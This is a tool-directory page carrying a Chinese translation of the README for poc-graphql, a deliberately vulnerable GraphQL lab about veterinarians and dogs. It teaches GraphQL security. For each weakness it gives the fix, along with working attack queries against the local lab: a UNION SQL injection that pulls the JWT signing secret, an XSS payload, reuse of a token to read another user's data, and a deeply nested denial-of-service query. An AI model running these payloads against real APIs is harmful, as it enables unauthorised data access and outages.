Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
poc-graphql — 从应用安全角度对 GraphQL 的研究。 | Kitploit
工具/GitHubGitHub/righettod/poc-graphql
漏洞分析Web应用程序漏洞利用API安全测试渗透测试学习与教育实验室与实践Archived
GitHubrighettod/poc-graphql

poc-graphql

从应用安全角度对 GraphQL 的研究。

查看仓库
418593年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

构建并部署镜像

目录

  • 目录
  • 关于GraphQL的研究
    • 目标
    • 实验室
    • 在Docker上部署
    • 安全弱点
      • 授权
        • 问题
        • 建议
      • 注入
        • 问题
        • 建议
      • 资源耗尽
        • 问题
        • 建议
      • 私有数据暴露
        • 问题
        • 建议
      • 意外错误时技术信息泄露
        • 问题
        • 建议
      • 不安全的直接对象引用
        • 问题
      • API暴露给错误的客户端范围
        • 问题
          • 订阅WebSocket端点默认启用
          • 跨源资源共享默认启用
        • 建议
    • 发现查询
    • 使用的参考资料
      • GraphQL
      • 实验室

关于GraphQL的研究

目标

  1. 研究什么是GraphQL。
  2. 从应用安全角度分析GraphQL的使用(攻击与防御)。
  3. 识别可能被利用的潜在弱点。

实验室

已创建了一个实验室来研究不同的问题,该实验室以兽医管理狗狗健康的场景为背景。

实验室使用 IntelliJ IDEA Community Edition 开发。

使用的域名如下:```text

Define in host file

127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local

root@kitploit:~
以下是实验室的条件和假设:

* 一位兽医可以关联 0 或 N 条狗。
* 一条狗可以关联 0 或 1 位兽医。
* 兽医有一个名为 **Popularity** 的属性,存在于存储系统(数据库)中,但 GraphQL 客户端不得访问它,因为它是敏感信息。
* GraphQL 数据消费视角是兽医。狗的信息是公开的。
* 实验室明确是一个存在漏洞的应用程序,其中实现了多个漏洞,并通过注释中的 `[VULN]` 标记进行标识。
* 关于认证,实现了一个虚假的第三方服务(通过 servlet),返回包含兽医名称的 JWT 令牌。

通过项目中的启动配置或命令行 `mvn spring-boot:run` 启动后,实验室可在以下端点访问:

* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)

要打包应用程序为可移植的 jar 文件,请使用命令 `mvn package`(预构建的 jar 文件可在[此处](https://github.com/righettod/poc-graphql/releases)获取):
* jar 文件将创建在 *target* 文件夹中,并命名为 *graphql-poc.jar*。
* 使用命令 `java -jar graphql-poc.jar` 运行应用程序。

## 在 Docker 上部署

> 镜像每天发布在 [DockerHub](https://hub.docker.com/r/righettod/poc-graphql) 上

为了在 docker 容器中部署应用程序,请按照以下步骤操作:

1. 确保已安装 `docker`。
2. `git clone` 该仓库。
3. 切换到克隆的目录。
4. 使用 `docker build -t poc-graphql .` 构建 Docker 镜像。
5. 现在,一个名为 **poc-graphql:latest** 的镜像已在您的机器上创建。
6. 使用 `docker run -p 8080:8080 poc-graphql:latest` 运行容器。
7. 使用以下端点访问实验室:
   * [GraphiQL](http://localhost:8080/graphiql)
   * [GraphQL](http://localhost:8080/graphql)

## 安全弱点

### 授权

*访问控制失效*

[CWE-285](https://cwe.mitre.org/data/definitions/285.html)

#### 问题

由于 GraphQL 基于单个端点,所有请求都发送到该端点,并且授权不在规范的范围内(没有内置功能)。

因此,由应用程序来实现授权逻辑。

在我的实验室中,这一点存在漏洞,因为访问令牌的验证并未验证该令牌是否属于在 **veterinaryId** 中传递的兽医。

**示例:**

我为存储中标识符为 **3** 的 **Dr Julien** 请求访问令牌,通过发送以下 GraphQL 请求:```javascript
query getAccessToken {
  auth(veterinaryName: "Julien")
}

我在以下GraphQL响应中接收到访问令牌:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }

root@kitploit:~
我使用获取的访问令牌向 `myInfo(...)` 查询发送一个 GraphQL 请求,但指定了标识符 **2**,即 **Dr Benoit** 的标识符:```javascript
query brokenAccessControl {
  myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
    id, name, dogs {
      name
    }
  }
}

我在 GraphQL 响应中接收到与 Dr Benoit 关联的狗列表:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...

root@kitploit:~
#### Reco

使用 GraphQL 后,我们从基于 `角色 x 功能` 的授权矩阵转向了基于 `角色 x 数据` 的数据级安全,因为现在只有一个端点。用户身份和角色必须传递给负责获取(或操作)数据的顶层,以便在获取数据之前利用用户身份进行验证。

### 注入

[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)

#### 问题

根据 GraphQL 服务器如何利用来自 GraphQL 请求(查询/变更/订阅)的信息来对数据存储进行操作,存在注入的可能性。

在我的实验室中,我在 `dogs(namePrefix: String, limit: Int = 500): [Dog!]` 查询中发现了一个 SQL 注入漏洞,因为参数 **namePrefix** 被用于字符串拼接以构建 SQL 查询。

**示例:**

我发送以下 GraphQL 请求以列出 `CONFIG` 表的内容。```javascript
query sqli {
  dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
    id
    name
  }
}

我在 GraphQL 响应中接收到了用于签名 JWT 令牌的密钥,以及名字以 ab 开头的狗的名字:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }

root@kitploit:~
关于XSS,有趣的是,当请求发送的验证失败时,GraphQL响应会反射出所发送的参数。

**示例:**

我向查询 `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary` 发送此GraphQL请求,我将Veterinary标识符(一个整数)替换为一个字符串XSS载荷:```javascript
query xss {
  myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
    veterinaryId: "<script>alert('XSS')</script>") {
    id
  }
}

我收到这个 GraphQL 响应,它反射了我的 payload,因此,根据 GraphQL 客户端及其转义/清理行为,它可能为 XSS 打开大门:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }

root@kitploit:~
#### Reco

* 对通过 Query/Mutation/Subscription 接收的数据在使用前进行输入验证
* 确保渲染来自 GraphQL 响应的数据的客户端在渲染前对数据进行转义/清理。

### 资源耗尽

[CWE-400](https://cwe.mitre.org/data/definitions/400.html)

#### 问题

由于客户端控制请求的数据量,它可以发送一个 GraphQL 请求,该请求会导致 GraphQL 服务器调用的存储资源耗尽,同时 GraphQL 服务器本身在将数据序列化为 JSON 时也会出现资源耗尽。

此问题也可能通过 mutation 发生,即在参数中发送大量数据(可在此处使用输入验证来防止此类攻击)。

此问题也可能通过 subscription 发生,方式如下:

* 在暴露的每个订阅上注册大量订阅者。
* 在订阅使用的参数中发送大量数据。

在我的实验室中,我在查询方面存在漏洞,特别是查询 `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]`,该查询对匿名用户可用,并检索数据库中关于狗的内容。由于狗与兽医之间存在关系,反之亦然,因此可以进行级联调用,导致数据库在 SQL 级别出现资源耗尽。

**示例:**

当我发送此请求时,我的 CPU 会达到 100% 持续几分钟,而我的数据库是本地的,因为它是 SQLite。```javascript
query dos {
  allDogs(onlyFree: false, limit: 1000000) {
    id
    name
    veterinary {
      id
      name
      dogs {
        id
        name
        veterinary {
          id
          name
          dogs {
            id
            name
            veterinary {
              id
              name
              dogs {
                id
                name
                veterinary {
                  id
                  name
                  dogs {
                    id
                    name
                    veterinary {
                      id
                      name
                      dogs {
                        id
                        name
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

PROOF00

建议

对于查询: 根据所使用的 GraphQL 服务器实现,使用内置的保护机制来限制 最大查询深度 和 查询复杂度(参见规范)。

对于 Java 实现,将以下两个仪表化类添加到执行策略中:

  • 针对查询复杂度的保护
  • 针对查询深度的保护

参见此类以了解上述两个仪表化用法的示例。

对于变更/订阅:

  • 使用输入验证来限制接收数据的大小。
  • 在代码层面添加订阅者限制。

私有数据暴露

CWE-359

问题

使用 GraphQL,客户端可以通过内省功能访问 API 模式,以发现可用的数据、查询、变更和订阅。

注意: 禁用内省会使你的服务器违反 GraphQL 规范以及大多数客户端的期望,因此请谨慎使用;从业务角度出发,建议优先过滤访问而非直接禁用它。

这意味着任何客户端都可以深入检查模式,以查看 Type 中是否暴露了任何有趣的敏感信息(对于暴露的 Mutation 或 Subscription 也是如此)。

通过 Documentation Explorer 面板使用 GraphiQL 或此脚本,可以浏览 GraphQL 端点暴露的模式。

在我的实验环境中,我错误地将兽医院的 受欢迎程度 信息(视为敏感信息)暴露到了 Veterinary 类型中。

在我的实验环境中,此URL允许获取模式的副本。

示例:

通过 Documentation Explorer 面板,我发现了这个字段:

PROOF01

PROOF02

PROOF03

建议

可以在 GraphQL 端点的访问上设置身份验证约束,以防止向匿名用户暴露,但任何通过身份验证的用户都可以访问此信息模式。

即使客户端可以看到暴露敏感信息的类型的结构,要查看这些信息,还需要获得返回这些数据的查询/变更/订阅的许可。

不要将敏感信息映射到模式中定义的类型中。

由于 GraphQL 具体化了客户端如何消费数据,GraphQL 不应暴露链接存储中所有可用的数据,而应仅暴露根据暴露给客户端的 GraphQL API 的业务上下文对客户端有用的数据。

意外错误时技术信息暴露

CWE-200

问题

当 GraphQL 服务器遇到意外错误(与存储的 I/O、NullPointerException、超时等)时,响应会提示 执行查询时发生内部服务器错误,这向攻击者暗示他们已对系统产生影响并导致了意外行为。

示例:

当我在实验环境中发送此请求查询时(无效令牌):```javascript query testErrorHandling { myInfo(accessToken:"aaaa", veterinaryId: 2){ id, name, dogs { name,veterinary{ name } } } }

root@kitploit:~
我收到这个回复,它告知我已对系统采取了行动并导致了意外行为。例如,我可能在应用日志中生成了一个堆栈跟踪,如果应用日志文件是按日期(每日)而不是按大小轮换的,那么我可以多次发送这个请求,用错误日志填满磁盘……```javascript
{
  "data": {
    "myInfo": null
  },
  "errors": [
    {
      "message": "Internal Server Error(s) while executing query",
      "path": null,
      "extensions": null
    }
  ]
}

Reco

如果遇到意外错误,则返回一个通用错误,例如 查询无法处理!

参见此类中的示例。

不安全的直接对象引用

CWE-639

问题

如果 GrapeQL API 暴露了 Query/Mutation/Subscription,且其数据标识符是可猜测/可预测的,则 Query/Mutation/Subscription 容易受到 IDOR 攻击,攻击者将使用自定义构建的标识符列表,尝试访问或操作标识符在列表中的数据,如果处理目标数据的 Query/Mutation/Subscription 也存在授权问题,则操作将成功。

我的实验室提出的 GraphQL API 的 Query/Mutation/Subscription 容易受到 IDOR 攻击,因为我为 Dog 和 Veterinary 使用顺序整数作为唯一标识符。

示例:

使用 GraphiQL 的 Documentation Explorer,我们可以看到标识符是简单的整数并且是顺序的:

PROOF04

PROOF05

请求查询以检测 IDOR:```javascript query detectIDOR { allDogs{ id,veterinary{ id } } }

root@kitploit:~
响应显示了狗和兽医的顺序标识符:```javascript
{
  "data": {
    "allDogs": [
      {
        "id": 1,
        "veterinary": {
          "id": 1
        }
      },
      {
        "id": 2,
        "veterinary": {
          "id": 1
        }
      },
      {
        "id": 3,
        "veterinary": {
          "id": 1
        }
      },
  ...
  {
        "id": 55,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 56,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 57,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 58,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 59,
        "veterinary": {
          "id": 2
        }
  ...

API暴露给错误的客户端范围

CWE-668

问题

使用GraphQL实现服务器构建GraphQL API时,可能会默认启用某些功能,从而将GraphQL API暴露给错误的客户端范围。

默认启用订阅WebSocket端点

在我的实验室中,情况正是如此,因为默认情况下,WebSocket端点在路径/subscriptions上暴露,并且不需要任何身份验证(请参阅此文档,具体是Realtime Updates with Subscriptions部分):

PROOF08

如果模式在Subscription部分声明了订阅,客户端可以通过此端点获取API数据的访问权限。

示例:

我可以通过模式查看暴露的订阅:

PROOF09

如果我发送此订阅请求以接收来自newAssociation订阅的事件:```javascript subscription subscribeToNewAssociation{ newAssociation }

root@kitploit:~
我收到以下消息,提示我从现在起将收到来自此订阅的信息:```text
Your subscription data will appear here after server publication!

例如,当我在另一个浏览器中通过此mutation请求创建一个关联时:```javascript mutation associateDog{ associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){ name } }

root@kitploit:~
该突变响应证明该操作已在数据层面执行:```javascript
{
  "data": {
    "associateDogToMe": {
      "name": "Dobby"
    }
  }
}

过了一会儿,我收到了关于我订阅的回复通知:```javascript { "newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']." }

root@kitploit:~
![PROOF10](https://assets.kitploit.com/production/public/readmes/6114/d16d4a36df8b0debf31bba4b07b813cb56241cbe591cd1a474f47aeeeef1eb3d.png)

##### 跨源资源共享默认启用

在我的实验环境中是这样,因为默认情况下 [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) 已启用并设置为 `*`,所以 API 可以被任何 `origin` 调用。

**示例:**

当我发送这个请求时,若指定一个不同的 `origin`,从 *domain1.local* 到 *domain2.local*:```text
POST /graphql HTTP/1.1
Host: domain2.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin: http://domain1.local:8080
referer: http://domain1.local:8080
Content-Length: 104
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache

{"query":"query testCORS {\n  allDogs{\n    name\n  }\n}\n","variables":null,"operationName":"testCORS"}

我收到这个响应:```text HTTP/1.1 200 OK Connection: close Access-Control-Allow-Origin: * Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Type: application/json;charset=UTF-8 Content-Length: 3562 Date: Sat, 05 Jan 2019 16:23:47 GMT

{"data":{"allDogs":[{"name":"Abi"},...

root@kitploit:~
Call from a browser:

![PROOF06](https://assets.kitploit.com/production/public/readmes/6114/f3b510f63ccfb02205077f80ab0a3aecc89828e7648fbc57df10315456e1b92b.png)

![PROOF07](https://assets.kitploit.com/production/public/readmes/6114/d1e1d8b993ca30df19159ce8e9283d90130fd3122beed521a8563cd628b10f82.png)

#### 建议

验证默认启用的功能,如果它们会影响 API 的暴露程度,则将其禁用。

对于订阅端点:

* 如果暴露了订阅,请确保在模式中暴露的每个订阅上都设置了身份验证和访问控制。
* 如果不暴露订阅,请禁用 WebSocket 端点,或在 WAF/应用程序服务器级别阻止此端点。

在我的实验室中,需要在此[配置文件](https://github.com/righettod/poc-graphql/blob/HEAD/src/main/resources/application.properties)中设置以下选项:

* 对于 CORS:`graphql.servlet.corsEnabled=false`
* 对于 WebSocket:`graphql.servlet.websocket.enabled=false`

## 发现查询

以下查询可用于获取模式。

非详细:```javascript
{
    __schema {
        types {
            name
            kind
            description
            fields {
                name
            }
        }
    }
}

详细说明:```javascript query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }

fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } }

fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }

fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }

root@kitploit:~
## 参考资源

### GraphQL

* [GraphQL 官网](https://graphql.org/)
* [GraphQL 教程](https://www.howtographql.com/)
* [关于 GraphQL 问题的 DOYENSEC 博客](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)

### 实验

* [graphql-spring-boot](https://github.com/graphql-java-kickstart/graphql-spring-boot)
* [graphql-java-kickstart](https://www.graphql-java-kickstart.com)
下载工具